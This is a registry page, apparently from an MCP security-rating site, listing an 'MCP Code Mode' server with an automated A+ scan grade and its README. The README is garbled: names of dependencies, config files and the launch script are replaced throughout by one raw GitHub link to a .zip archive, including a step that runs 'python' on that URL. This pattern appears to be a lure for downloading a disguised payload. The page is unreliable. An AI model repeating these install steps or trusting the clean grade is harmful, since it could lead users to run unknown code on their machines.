Code Mode MCP Server
π€ Enable AI code generation using the Code Execution MCP Server, integrating large language models with the Model Context Protocol for seamless tool use.
This grade comes from an automated MCPSafe scan of the server's JavaScript, TypeScript and Python source on 2026-10-02. It read the whole repository (17 files). It checks for leaked credentials, shell or code injection from function inputs, unsafe deserialization, malware signatures, install-time scripts, and weak password handling. It does not check for path traversal, server-side request forgery, prompt injection in tool descriptions, network exposure, SQL injection, cross-site scripting, or vulnerable dependencies. It has not been manually reviewed, and the code may have changed since the scan.
Excellent Security
Trust Score 70
Trust is stricter than security: it combines reviewed security, MCP capability risk, supply-chain metadata, quality, popularity, freshness, and penalties for unknowns.
- β’ No reviewed severe vulnerabilities published
- β’ Good documentation surface
- β’ Solid supply-chain metadata
- β’ Recently scanned
- β’ Missing/unclear license
- β’ MCP risk traits: Runs shell commands, Filesystem access, Network/API access
Security ScoreA+
Vulnerabilities Found
Quality ScoreC
Maintenance55
Popularity5
Documentation93
Available Documentation
Compatibility72
Features
Supported Transports
Vulnerabilities(0)
This grade comes from an automated scan. Individual findings from automated scans are not published.
READMECode Mode MCP Server
View sourceπ₯οΈ mcp-code-mode - Run Python Code with Ease
π Download the Latest Version

π Getting Started
Welcome to the MCP Code Mode project! This application allows you to execute Python code safely while leveraging the power of AI. Follow the steps below to download and run the application.
1. π» Installation
To get started, youβll need to set up your environment. This application requires Python 3.11 or higher and https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip 20 or higher.
Step-by-Step Installation:
- Create a Virtual Environment:
Open your terminal and run:
```bash
python3.11 -m venv .venv
source .venv/bin/activate
```
- Install Required Python Packages:
Next, use this command to install the necessary dependencies:
```bash
pip install -e .[dev]
```
- Install https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip Dependencies:
To ensure you have the latest packages for reference servers, run:
```bash
npm install -g npm@latest
```
2. π οΈ Configuration
Now that you have installed the application, itβs time to configure it.
Copy the Example Environment Settings:
To get started quickly, duplicate the example environment file:
cp https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip .envConfigure Your MCP Servers:
Edit the https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip file. You will need to specify your MCP servers. Hereβs an example of what it might look like:
{
"servers": {
"filesystem": {
"command": "npx",
"args": ["-y", "@modelcontextprotocol/server-filesystem", "/your-working-folder"],
"description": "Local file system server"
}
}
}Replace "/your-working-folder" with the path to your working folder.
3. π₯ Download & Install
To download the application, visit this page: Download Releases.
Select the latest version and follow the instructions tailored for your operating system.
4. π Running the Application
After installation and configuration, itβs time to run the application. Use the following command in your terminal:
python https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zipThis will start the server, and you can interact with the AI agent through your browser or terminal interface.
5. π Features
- AI-Powered Code Generation: The application uses AI to write Python code efficiently.
- Isolated Code Execution: Ensures that your code runs in a safe environment, protecting your system.
- Tool Integration: Easily integrates with Model Context Protocol tools for advanced functionalities.
6. π Troubleshooting
If you encounter issues while running the application, consider the following steps:
- Ensure that you have the correct versions of Python and https://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip installed.
- Double-check your configuration settings in
.envandhttps://raw.githubusercontent.com/Jame0077/mcp-code-mode/main/src/code-mcp-mode-2.1.zip. - Look for error messages in the terminal. They often provide helpful hints.
For further assistance, you can search for solutions on Stack Overflow or consult the repository's issues section.
7. π€ Contributing
If you would like to contribute to this project, please fork the repository and submit a pull request. Your input can help improve the application and benefit other users.
Conclusion
Thank you for using MCP Code Mode. We hope you enjoy running your Python code with ease and security. If you have any questions or feedback, feel free to reach out!
Embed Security Badge
Add this badge to your README or documentation
[](https://mcpsafe.org/registry/jame0077-mcp-code-mode)Server Information
- Source
- GITHUB
- Language
- python
- Transport
- STDIO
- Added
- Aug 2, 2026
- Updated
- Oct 1, 2026